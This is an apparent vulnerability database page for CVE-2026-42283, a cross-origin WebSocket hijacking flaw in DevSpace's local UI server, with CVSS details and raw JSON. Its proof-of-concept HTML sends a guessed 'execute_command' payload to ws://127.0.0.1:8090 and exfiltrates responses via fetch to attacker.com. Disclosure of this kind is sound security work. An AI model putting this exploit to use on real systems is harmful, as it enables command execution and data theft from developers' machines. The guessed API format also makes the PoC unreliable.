Security Vulnerability Report
中文
CVE-2026-42283 CVSS 7.7 HIGH

CVE-2026-42283

Published: 2026-05-14 16:16:21
Last Modified: 2026-05-14 18:12:14

Description

DevSpace is a client-only developer tool for cloud-native development with Kubernetes. Prior to 6.3.21, DevSpace's UI server WebSocket accepts connections from all origins by default, and therefore several endpoints are exposed via this WebSocket. When a developer runs the DevSpace UI and at the same time uses a browser to access the internet, a malicious website they visit can use their browser to establish a cross-origin WebSocket connection to ws://127.0.0.1:8090. This vulnerability is fixed in 6.3.21.

CVSS Details

CVSS Score
7.7
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

DevSpace < 6.3.21

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- Proof of Concept: Cross-Site WebSocket Hijacking --> <!-- Save as exploit.html and host on a malicious server --> <!DOCTYPE html> <html> <head><title>DevSpace Exploit</title></head> <body> <script> // Target the local DevSpace UI WebSocket server var ws = new WebSocket("ws://127.0.0.1:8090"); ws.onopen = function() { console.log("WebSocket connection established"); // Send a malicious payload or command to the local endpoint // Example payload (adjust based on specific DevSpace API) ws.send(JSON.stringify({ type: "execute_command", command: "whoami" })); }; ws.onmessage = function(event) { console.log("Received data from local server: " + event.data); // Exfiltrate data to attacker's server fetch("https://attacker.com/exfil?data=" + btoa(event.data)); }; ws.onerror = function(error) { console.log("WebSocket Error: " + error); }; </script> <h1>Checking connection...</h1> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42283", "sourceIdentifier": "[email protected]", "published": "2026-05-14T16:16:21.347", "lastModified": "2026-05-14T18:12:13.527", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "DevSpace is a client-only developer tool for cloud-native development with Kubernetes. Prior to 6.3.21, DevSpace's UI server WebSocket accepts connections from all origins by default, and therefore several endpoints are exposed via this WebSocket. When a developer runs the DevSpace UI and at the same time uses a browser to access the internet, a malicious website they visit can use their browser to establish a cross-origin WebSocket connection to ws://127.0.0.1:8090. This vulnerability is fixed in 6.3.21."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-200"}, {"lang": "en", "value": "CWE-306"}]}], "references": [{"url": "https://github.com/devspace-sh/devspace/security/advisories/GHSA-hqwm-7x7x-8379", "source": "[email protected]"}]}}